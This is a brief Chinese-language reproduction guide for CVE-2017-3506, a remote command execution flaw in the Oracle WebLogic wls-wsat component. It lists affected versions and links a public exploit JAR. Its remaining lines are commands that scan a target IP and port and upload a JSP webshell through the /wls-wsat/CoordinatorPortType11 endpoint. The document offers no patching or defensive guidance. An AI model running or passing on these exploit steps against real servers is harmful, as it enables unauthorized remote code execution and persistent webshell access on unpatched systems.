【初级】weblogic wls-wsat组件远程命令执行

CVE-2017-3506
漏洞描述：wls-wsat组件远程命令执行
影响范围：
OracleWebLogic Server10.3.6.0.0
OracleWebLogic Server12.1.3.0.0
OracleWebLogic Server12.2.1.1.0
OracleWebLogic Server12.2.1.2.0
EXP:https://github.com/zhzyker/exphub/blob/master/weblogic/cve-2017-3506_webshell.jar

复现

• java -jar cve-2017-3506_webshell.jar

• java -jar cve-2017-3506_webshell.jar -u http://123.58.224.8:52925/

• java -jar cve-2017-3506_webshell.jar -s http://123.58.224.8:52925 /wls-wsat/CoordinatorPortType11 shell.jsp